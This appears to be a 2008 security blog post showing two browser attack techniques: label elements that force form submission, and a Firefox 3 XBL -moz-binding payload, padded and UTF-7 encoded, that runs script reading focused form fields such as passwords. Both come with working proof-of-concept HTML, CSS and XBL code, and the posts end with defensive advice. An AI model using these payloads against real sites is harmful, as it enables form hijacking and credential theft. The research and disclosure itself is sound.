November 01, 2008

Formjacking with labels

Intro

Labels for form elements are great - they tell the user what and where to click - and sometimes even why. Good thing too is that a click on a label sets the assigned form element to be focused. Great for them small check boxes - bad for submit buttons. Yes. Submit buttons.

Some Markup

Let's have a look at the following markup:

<html>
<body>
<label for="submit">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh
euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad
minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut
aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit
in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis at vero et accumsan et iusto odio dignissim qui blandit praesent
luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum
dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod
tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim
veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip
ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in
vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis at vero et accumsan et iusto odio dignissim qui blandit
<form action="test.php" method="post">
  <input tabindex="1" type="text" name="text" value="text" />
  <input tabindex="2" type="password" name="password" value="secret!" />
  <input tabindex="3" type="submit" id="submit" value="Go!" />
</form>

Clicking or even selecting the text above the form elements causes the form to auto-submit - the label gave the submit button the focus which basically means it clicked it. The previous article described what can happen if the attacker controls the styles and does bad things with the :focus selector. Now we see how easy it is to force the user into focusing a certain element.

Again it's Mozilla browsers which are vulnerable (and Safari as well as IE8) - Opera sets a focus on the submit button - but doesn't submit the form afterwards. At least this technique doesn't work for file elements.

But it gets even better. If a link is embedded inside the label and this link is being clicked all browsers but Opera first submit the form and then follow the link.

<html>
<body>
<label for="submit">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh

<a href="foo.php">click</a>

vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis at vero et accumsan et iusto odio dignissim qui blandit
<form action="test.php" method="post">
  <input tabindex="1" type="text" name="text" value="text" />
  <input tabindex="2" type="password" name="password" value="secret!" />
  <input tabindex="3" type="submit" id="submit" value="Go!" />
</form>

Same is of course for button tags. And the following code proofs that the user agents actually fire a click towards the element being bound to the label. Not a focus but an actual click.

<html>
<body>
<label for="submit">

Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh
vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis at vero et accumsan et iusto odio dignissim qui blandit

<button onclick="alert(1)" id="submit">click</a>

Conclusion

If users are allowed to post HTML make sure that they can't just add labels. Most HTML filters can be told to strip certain evil tags - label is a stealthy candidate but definitely earns his place inside blacklists - respectively outside white-lists. HTMLPurifier by the way strips labels per default.

Focus and obfuscated binding of death in FF3+

Intro

XBL Bindings in FF2 were fun - since it was no problem to bind external and off-domain resources. Then came FF3 - and disabled off-site XBL usage. This could be circumvented via data URIs - but not for long. Current revisions of FF3 throw a security error when trying that. Attacks based on XBL and poisoned styles seemed to mitigated. But let's have a look what still can be done in most recent FF3 releases.

The Code

Assume the following setup - arbitrary HTML page. The attacker has control over the styles.

<style>
*:focus {
-moz-binding: url(binding.xml.123?123456);
}
</style>
<form action="test.php" method="post">
<input tabindex="1" name="text" value="text" type="text">

<input tabindex="2" name="password" value="secret!" type="password">
<input tabindex="3" id="submit" value="Go!" type="submit">
</form>

The -moz-binding property is set to url(binding.xml.123?123456); - which is an URL not ending with xml - but with a suffix the web server doesn't know to deal with. The xml directly before the .123 is nevertheless very important.

Let's have a look at our .123 file.

<?xml version="1.0"?>
<i>
<can>
<haz>
<padding>
and <slashes> and stuff as long as the "markup" is well formed. kind of.

<bindings xmlns="http://www.mozilla.org/xbl">
<binding id="loader">
<implementation>
<constructor>
<!--[CDATA[document.body.innerHTML=body.innerHTML+('owned: "' + this.value + '"<br />');]]-->

</constructor>
</implementation>
</binding>
</bindings>
<!-- a lot of padding  -->
</slashes></padding></haz></can></i><h1><i>Lorem ipsum dolor sit amet</i></h1><i>

</i><p><i>
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh
euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad
minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut
aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in
vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis
at vero et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril
</i></p><i>
<!-- a lot of padding  -->

We see here the tag, some padding, the actual bindings and again a whole bunch of padding. Still the binding works. So - we can chose or filename almost arbitrarily, we can add padding before and after the binding. At least as long we have the xml declaration at the right place.

So - what about playing with the encoding?

<?xml version="1.0" encoding="UTF-7"?>
+ADw-bindings xmlns+AD0AIg-http://www.mozilla.org/xbl+ACIAPg
+ADw-binding id+AD0AIg-loader+ACIAPg
+ADw-implementation+AD4
    +ADw-constructor+AD4
    +ADwAIQBb-CDATA+AFs-document.body.innerHTML+AD0-body.innerHTML+ACs('owned: +ACI' +ACs this.value +ACs '+ACIAPA-br+AD4')+ADsAXQBdAD4
    +ADw-/constructor+AD4
+ADw-/implementation+AD4
+ADw-/binding+AD4
+ADw-/bindings+AD4
+ADwAIQ--- a lot of padding  --+AD4
...

It works - so you can even compose your binding in UTF-7. And best of all - you can have a bunch of UTF-8 or whatever padding before the binding payload. As long as it's well formed the code will executed without any problems.

<?xml version="1.0" encoding="UTF-7"?>
<i>
<can>
<haz>
<padding>
and <slashes> and stuff as long as the "markup" is well formed. kind of.

+ADw-bindings xmlns+AD0AIg-http://www.mozilla.org/xbl+ACIAPg
+ADw-binding id+AD0AIg-loader+ACIAPg
+ADw-implementation+AD4
+ADw-constructor+AD4
+ADwAIQBb-CDATA+AFs-document.body.innerHTML+AD0-body.innerHTML+ACs('owned: +ACI' +ACs this.value +ACs '+ACIAPA-br+AD4')+ADsAXQBdAD4
+ADw-/constructor+AD4
+ADw-/implementation+AD4
+ADw-/binding+AD4
+ADw-/bindings+AD4
+ADwAIQ--- a lot of padding  --+AD4
...

Conclusion

It shouldn't be too hard to get a web app to either accept file uploads leading to this issue or fulfill one of the other requirements - although it's no every day scenario. Also the code should show how dangerous it is allowing a user to customize the sites styles. :focus can easily be exploited on IE too with expression() - even it that feature won't exist in IE8 standards mode anymore.